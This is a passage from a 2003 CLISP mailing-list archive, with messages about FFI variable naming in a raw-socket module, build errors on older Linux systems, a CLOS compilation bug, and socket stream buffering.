future. See http://spamassassin.org/tag/ for more details. Content preview: Per the message sent by Hoehle, Joerg-Cyril: > Hi, > >> BTW, I think such a generic name - "buffer" - is a very bad choice for > >> your variable. It'll get global scope in the object files and may > >> interfere with other places. [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 07:18:05 2003 X-Original-Date: Tue, 16 Sep 2003 07:16:50 -0700 (PDT) Per the message sent by Hoehle, Joerg-Cyril: > Hi, > >> BTW, I think such a generic name - "buffer" - is a very bad choice for > >> your variable. It'll get global scope in the object files and may > >> interfere with other places. > >It is within the package RAWSOCK - so unless someone else modifies > >RAWSOCK to use the same variable we should be safe. > I didn't mean the Lisp variable. I meant the C one. It gets global > scope across all objects. You wrote: > >; (setq snaplen 1514) > >(def-c-var buffer (:name "buffer"... > which leads (or lead, until recent past) to > >extern uint8 (buffer)[1518]; > extern/global, not static. Ah!!! Very bad... I should probably use rawsock- before all C variables then. > Maybe you could use > (def-c-var buffer (:name "packet_analyser_snapshot_buffer") > or whatever? Is there a convention here for doing it this way? If not let's make one. Which brings me to the offset macro somewhere within FFI (I believe) in the new clisp which causes by offset function within rawsock (declared in a lisp thing somewhere) to go awry. > >> Fred, actually, what do you need it for? > I meant the C variable buffer that you want to access from Lisp. > Could you use dynamically allocated memory instead? > Could you use :out FFI parameter modes instead, which can supply arrays? > Especially for your recvfr() and sendt(), this could make a > difference, otherwise all such function stomp on the same single buffer. > But that's maybe what you want (maintain performance by not copying > twice each packet, which reminds me of a paper written by the guys who > reimplemented TCP/IP in SML). I want the poerformance - a lot of the things the responder application does include replacing a few bytes here and there and sending the packet back out. > BTW, 16 or 20 bytes timestamp? > >char timestamp[20], > >(def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none)) An old habit of mine. I allocate more space than I need to prevent stupid overruns caused by off-by-one errors from hurting me. I will see if this can be safely fixed. > So to summarize, I believe (without trying) that the following is > necessary to get rawsock to work with clisp-2.31 > o provide some rawsock.h which declares the variables and functions This seems reasonable enough. > o (FFI:C-LINES "# That's compatible with older versions of CLISP. This seems reasonable enough. > o get rid of offset macro problem (foreign.d uses offset as a local > variable name, so it apparently isn't a macro in the core code?!). So shouldn't foreign.d also use a name like foreign-offset? I will change mine as well, but... > o more? > >getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which > I have now seen a system with a 2,7GB sized logfile! > I was real happy that "less" worked correctly with it. This is a small logfile in my experience. And I regularly do disk images of 120Gig disks which I would like to process with clisp. The reason less and some other code works is that my team at Sandia (when I was there) did these fixes and promulgated them into the community. It was part of making Linux more suitable to forensics work. > Sadly, Emacs doesn't work with huge logfiles, and I miss it's > incremental search and built-in grepping facilities. If this is a 4Tbyte issue with file I/O we should fix it - of course you might need a lot of RAM and swap space... > >It' such a little code snippet I figured it wasn't worth two files. > You're not mainstream :-) I'm joking, and I find it sad that the > automated linkkit module mechanism seems to oblige one to provide a > one-line '(MAKE-PACKAGE "e.g. LDAP")' file (witness > modules/dirkey/preload.lisp), which will result in the build of an > intermediate 1MB image file, all of which is wasted space IMHO. But I > repeat myself here. > I also find the statement "HD space is cheap these days" false and > blinding. Please provide cheap HD space to every computer owner world > wide (don't forget China, India etc.). I'm sure you bank will want to > talk to you. I don't think I made that assertion - the cost of disk space is in its use more than the materials. I will eventually upgrade rawsock per your suggestion. But in the meanwhile because of library issues and a lack of static compilation I am still at 2.27. FC > Regards, > Jorg Hohle. -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From fc@all.net Tue Sep 16 07:53:10 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zHCY-00041S-00 for ; Tue, 16 Sep 2003 07:53:10 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zHCY-00075l-6M for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 07:53:10 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8GEqdI08864 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 07:52:39 -0700 Message-Id: <200309161452.h8GEqdI08864@all.net> To: clisp-list@lists.sourceforge.net (Clisp List) From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: In my eternal attempts to get clisp to compile for my special needs, I built a system or the sole purpose of building a clisp. It is, to a not so close approximation, a Redhat 6.2 or so system. I got the clisp2.31 source tar file, untarred it, and did a ./configure followed by cd src ./makemake --with-dynamic-ffi > Makefile make config.lisp [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] Getting 2.31 to compile on older systems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 07:54:04 2003 X-Original-Date: Tue, 16 Sep 2003 07:52:34 -0700 (PDT) In my eternal attempts to get clisp to compile for my special needs, I built a system or the sole purpose of building a clisp. It is, to a not so close approximation, a Redhat 6.2 or so system. I got the clisp2.31 source tar file, untarred it, and did a ./configure followed by cd src ./makemake --with-dynamic-ffi > Makefile make config.lisp So far no problem. Then I did: make which ultimately ended in: gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run stream.o: In function `rd_ch_terminal3': stream.o(.text+0xd409): undefined reference to `rl_already_prompted' stream.o: In function `make_terminal_stream_': stream.o(.text+0xdab5): undefined reference to `rl_gnu_readline_p' stream.o: In function `rl_memory_abort': stream.o(.text+0x13693): undefined reference to `rl_gnu_readline_p' collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 Does this mean I need a newe readline library or some such thing? Or am I missing something much bigger. And of course - is there a way to not have to update my libraries and still get clisp to run reasonably well? I don't want to lose line editing - that's real handy... So I reverted to 2.27 and tried to do the same thing... and I got farther... gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurses -ldl -o lisp.run sync The compile worked! Which seems to mean that something has changed that perhaps did not maintain compatability. However, when the process continued: ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" *** - Program stack overflow. RESETmake: *** [interpreted.mem] Segmentation fault Ouch! Knowing as little as I do about the intrenals of all of this I was wondering if there are any hints about this that would ease my path to enlightenment. FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From don-sourceforge@isis.cs3-inc.com Tue Sep 16 11:35:59 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zKgB-00075v-00 for ; Tue, 16 Sep 2003 11:35:59 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zKgA-0003tD-LL for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 11:35:58 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8GIWhX16927 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 11:32:44 -0700 Message-Id: <200309161832.h8GIWhX16927@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.8 (/) X-Spam-Report: 0.8/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Having given up for now on the really obsolete linux, I try to build on another one, I think a pretty standard redhat - 2.2.16-22smp. Everything seems to be going fine until (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION :ERROR)) UNIX error 84 (EILSEQ): Invalid multibyte or wide character EQL-OK: ERROR (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) ERROR!! " *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1 Real time: 110.750336 sec. Run time: 104.26 sec. Space: 31377576 Bytes GC: 53, GC time: 5.63 sec. Bye. make[1]: *** [tests] Error 1 make[1]: Leaving directory `/root/clisp/clisp-2.31/src/suite' make: *** [testsuite] Error 2 [...] Content analysis details: (0.80 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header UPPERCASE_25_50 (1.2 points) message body is 25-50% uppercase Subject: [clisp-list] next build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 11:36:10 2003 X-Original-Date: Tue, 16 Sep 2003 11:32:44 -0700 Having given up for now on the really obsolete linux, I try to build on another one, I think a pretty standard redhat - 2.2.16-22smp. Everything seems to be going fine until (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION :ERROR)) UNIX error 84 (EILSEQ): Invalid multibyte or wide character EQL-OK: ERROR (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) ERROR!! " *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1 Real time: 110.750336 sec. Run time: 104.26 sec. Space: 31377576 Bytes GC: 53, GC time: 5.63 sec. Bye. make[1]: *** [tests] Error 1 make[1]: Leaving directory `/root/clisp/clisp-2.31/src/suite' make: *** [testsuite] Error 2 Any ideas? BTW, the last thing I had typed before that was make check which evidently now contains checksuite. This suggests a change to unix/INSTALL which now says 8. (Optionally) Two more tests for CLISP. Let the compiler (now compiled!) recompile itself: make test Check whether CLISP passes the test suite: make testsuite From roland.averkamp@gmx.de Tue Sep 16 14:21:50 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zNGf-0005Gc-00 for ; Tue, 16 Sep 2003 14:21:50 -0700 Received: from pop.gmx.de ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19zNGf-0002EP-73 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 14:21:49 -0700 Received: (qmail 6905 invoked by uid 0); 16 Sep 2003 21:21:16 -0000 Received: from 212.144.172.127 by www57.gmx.net with HTTP; Tue, 16 Sep 2003 23:21:16 +0200 (MEST) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <8032.1063747276@www57.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hello, I have a problem with the CLOS Implementation and Compiler of clisp-2.31. I have to files: File: test-clos-1.lisp [...] Content analysis details: (0.70 points, 5 required) BANG_MORE (0.7 points) BODY: Talks about more with an exclamation! Subject: [clisp-list] CLOS / compiler bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 14:22:07 2003 X-Original-Date: Tue, 16 Sep 2003 23:21:16 +0200 (MEST) Hello, I have a problem with the CLOS Implementation and Compiler of clisp-2.31. I have to files: File: test-clos-1.lisp (defgeneric blub (x)) File: test-clos-2.lisp (defclass a () ()) (defun bla () (let ((x (make-instance 'a))) (pprint "before blub") (blub x ) (pprint "after blub"))) (defmethod blub ((x a)) (pprint "blub")) ;------------- end ------------- then I do the following at the prompt: [15]> (progn (unintern 'blub) (compile-file "test-clos-1.lisp") (load "test-clos-1") (compile-file "test-clos-2.lisp") (load "test-clos-2") (bla)) Datei /home/averkamp/lisp/test-clos-1.lisp wird compiliert... Wrote file /home/averkamp/lisp/test-clos-1.fas 0 Errors, 0 Warnungen ;; Datei /home/averkamp/lisp/test-clos-1.fas ... ;; Loaded file /home/averkamp/lisp/test-clos-1.fas Datei /home/averkamp/lisp/test-clos-2.lisp wird compiliert... Wrote file /home/averkamp/lisp/test-clos-2.fas 0 Errors, 0 Warnungen ;; Datei /home/averkamp/lisp/test-clos-2.fas ... ;; Loaded file /home/averkamp/lisp/test-clos-2.fas "before blub" "after blub" I would have expected: "before blub" "blub" "after blub" and this is the result if if the files are not compiled : 16]> (progn (unintern 'blub) (load "test-clos-1.lisp") (load "test-clos-2.lisp") (bla)) ;; Datei test-clos-1.lisp ... ;; Loaded file test-clos-1.lisp ;; Datei test-clos-2.lisp ... ;; Loaded file test-clos-2.lisp "before blub" "blub" "after blub" Why is method blub not called in the first example? If in file test-clos-2.lisp "(defmethod blub ( ..." is moved before "(defun bla ...." everything works as expected. There is no trace of the call to blub in the disassembly of bla: [35]> (disassemble 'bla) Disassembly von Funktion BLA (CONST 0) = A (CONST 1) = MAKE-INSTANCE (CONST 2) = "before blub" (CONST 3) = "after blub" 0 required arguments 0 optional arguments Kein Rest-Parameter Keine Keyword-Parameter 9 byte-code instructions: 0 (CONST&PUSH 0) ; A 1 (CALL1&PUSH 1) ; MAKE-INSTANCE 3 (CONST&PUSH 2) ; "before blub" 4 (PUSH-UNBOUND 1) 6 (CALLS1 131) ; PPRINT 8 (CONST&PUSH 3) ; "after blub" 9 (PUSH-UNBOUND 1) 11 (CALLS1 131) ; PPRINT 13 (SKIP&RET 2) NIL [36]> I do not have this problem with clisp-2.30. By Roland -- +++ GMX - die erste Adresse für Mail, Message, More! +++ Getestet von Stiftung Warentest: GMX FreeMail (GUT), GMX ProMail (GUT) (Heft 9/03 - 23 e-mail-Tarife: 6 gut, 12 befriedigend, 5 ausreichend) Jetzt selbst kostenlos testen: http://www.gmx.net From don-sourceforge@isis.cs3-inc.com Tue Sep 16 15:21:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zOCb-0001jZ-00 for ; Tue, 16 Sep 2003 15:21:41 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zOCb-0003yk-Gd for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 15:21:41 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8GMILc18151 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 15:18:21 -0700 Message-Id: <200309162218.h8GMILc18151@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.8 (/) X-Spam-Report: 0.8/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Under 21.3.5. Bulk Input and Output Rationale. The rationale for EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE, EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE is that some STREAMs support both character and binary i/o, and when you read into a SEQUENCE that can hold both (e.g., LIST or SIMPLE-VECTOR) you cannot determine which kind of input to use. In such situation READ-SEQUENCE and WRITE-SEQUENCE SIGNAL an ERROR, while EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE, EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE work just fine. [...] Content analysis details: (0.80 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header UPPERCASE_25_50 (1.2 points) message body is 25-50% uppercase Subject: [clisp-list] impnotes 2.31 sec. 21.3.5 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 15:22:14 2003 X-Original-Date: Tue, 16 Sep 2003 15:18:21 -0700 Under 21.3.5. Bulk Input and Output Rationale. The rationale for EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE, EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE is that some STREAMs support both character and binary i/o, and when you read into a SEQUENCE that can hold both (e.g., LIST or SIMPLE-VECTOR) you cannot determine which kind of input to use. In such situation READ-SEQUENCE and WRITE-SEQUENCE SIGNAL an ERROR, while EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE, EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE work just fine. This appears not to be the case. Read-sequence, as I expected, works fine and (naturally) stores the element type of the stream. Unless these are much faster than read/write-sequence, I think the real benefit is the no-hang argument of read-byte-sequence. I've now tried it and I'm happy with the result. Now for write-byte-sequence :nohang ... From don-sourceforge@isis.cs3-inc.com Tue Sep 16 16:18:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zP5m-00067X-00 for ; Tue, 16 Sep 2003 16:18:42 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zP5m-0000aJ-AX for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 16:18:42 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8GNFP918447 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 16:15:25 -0700 Message-Id: <200309162315.h8GNFP918447@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.4 (/) X-Spam-Report: -0.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: (setf stream (socket:SOCKET-ACCEPT s)) # What does it mean for the stream to be unbuffered? Clearly when the other side sends characters they're stored somewhere until I read them from the stream. [...] Content analysis details: (-0.40 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header Subject: [clisp-list] next question - socket streams unbuffered? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 16:19:13 2003 X-Original-Date: Tue, 16 Sep 2003 16:15:25 -0700 (setf stream (socket:SOCKET-ACCEPT s)) # What does it mean for the stream to be unbuffered? Clearly when the other side sends characters they're stored somewhere until I read them from the stream. For output I suppose it makes more sense - I suppose unbuffered means that all data is sent in outgoing packets "shortly" after it's written to the stream, as opposed to waiting for a packet to fill up or a force-output. Is that the idea? Impnotes shows a lot of :buffered arguments but doesn't say much about what they mean. From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 17 00:39:05 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zWu1-0008KF-00 for ; Wed, 17 Sep 2003 00:39:05 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zWu0-0002ex-7x for clisp-list@lists.sourceforge.net; Wed, 17 Sep 2003 00:39:04 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 17 Sep 2003 09:36:44 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Sep 2003 09:36:42 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06C0E9A7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com Subject: [clisp-list] next question - socket streams unbuffered? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, > # >What does it mean for the stream to be unbuffered? >Clearly when the other side sends characters they're stored somewhere >until I read them from the stream. [...] Content analysis details: (0.70 points, 5 required) MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 17 00:40:02 2003 X-Original-Date: Wed, 17 Sep 2003 09:36:40 +0200 Hi, > # >What does it mean for the stream to be unbuffered? >Clearly when the other side sends characters they're stored somewhere >until I read them from the stream. It means that CLISP does not use an internal application-level (4K IIRC) buffer. That doesn't prevent the underlying OS from doing some buffering itself. The network always does some buffering :-) >Impnotes shows a lot of :buffered arguments but doesn't say much about >what they mean. Here's a suggestion for adding somewhere in impnotes :buffered Have CLISP manage an internal 4KB buffer for input or output. Buffering is a known general technique to speed up i/o by many factors. CLISP detects i/o to regular files itself and defaults to buffering. For sockets or special files however, CLISP doesn't default to using an internal buffer. Therefore, for use with e.g. HTTP output to socket streams, you may obtain speed improvements by having CLISP do output in blocks instead of character by character by setting :buffered to true. The size of the internal buffer is currently 4KB (IIRC). Note that using :buffered on interactive streams (typically network protocols) may require thoughtful addition of calls to FORCE-OUTPUT or FINISH-OUTPUT. Personal side note: The actual performance improvements depend a lot on the underlying OS, as the following examples show: o I used *print-pretty* very early on the Amiga, because the buffering that it causes (using write-string instead of write-char) sped up output to the terminal by a huge factor. o I reported speed improvements in this group by a factor >10 (and data volume reduce by a factor >200) when using buffering over a samba filesystem connection when using read-char (MS-W2k reading from Linux Samba server). The same code on Linux (using NFS) did not show a difference for :buffered T/NIL, presumably because NFS does i/o in 8KB chunks itself. Sadly, read-char is very commonly used in CL, and when :buffering is not true, all bets are off as to the performance of the system, as the second example shows. IIRC this was in a thread in this list about who is responsible for buffering: the application programmer or the OS. I found e-mails of mine from 14th February 2002 and 17th October 2002 on this topic. Regards, From sds@gnu.org Wed Sep 17 06:38:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zcWC-0001SK-00 for ; Wed, 17 Sep 2003 06:38:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zcWB-0003Fi-BF for clisp-list@lists.sourceforge.net; Wed, 17 Sep 2003 06:38:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8HDcH129535; Wed, 17 Sep 2003 09:38:17 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Matthias Neeracher Cc: Daniel Starr , clisp-list@lists.sourceforge.net References: <04B25324-E8AA-11D7-8EBB-0003931E2988@mac.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <04B25324-E8AA-11D7-8EBB-0003931E2988@mac.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * Matthias Neeracher [2003-09-16 17:58:15 -0700]: > > I've succeeded in building the new release; I thought I'd let you know > about some issues I encountered. (I'll hold off on checking the update > into fink until maxima is updated, since that seems to have a binary > dependency on clisp). [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: fink/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 17 06:39:07 2003 X-Original-Date: 17 Sep 2003 09:38:17 -0400 > * Matthias Neeracher [2003-09-16 17:58:15 -0700]: > > I've succeeded in building the new release; I thought I'd let you know > about some issues I encountered. (I'll hold off on checking the update > into fink until maxima is updated, since that seems to have a binary > dependency on clisp). good. > 1) I couldn't make dynamic-ffi build, because the whole avcall > business failed to build. I'm a bit at a loss in how to make it work, > and can't really 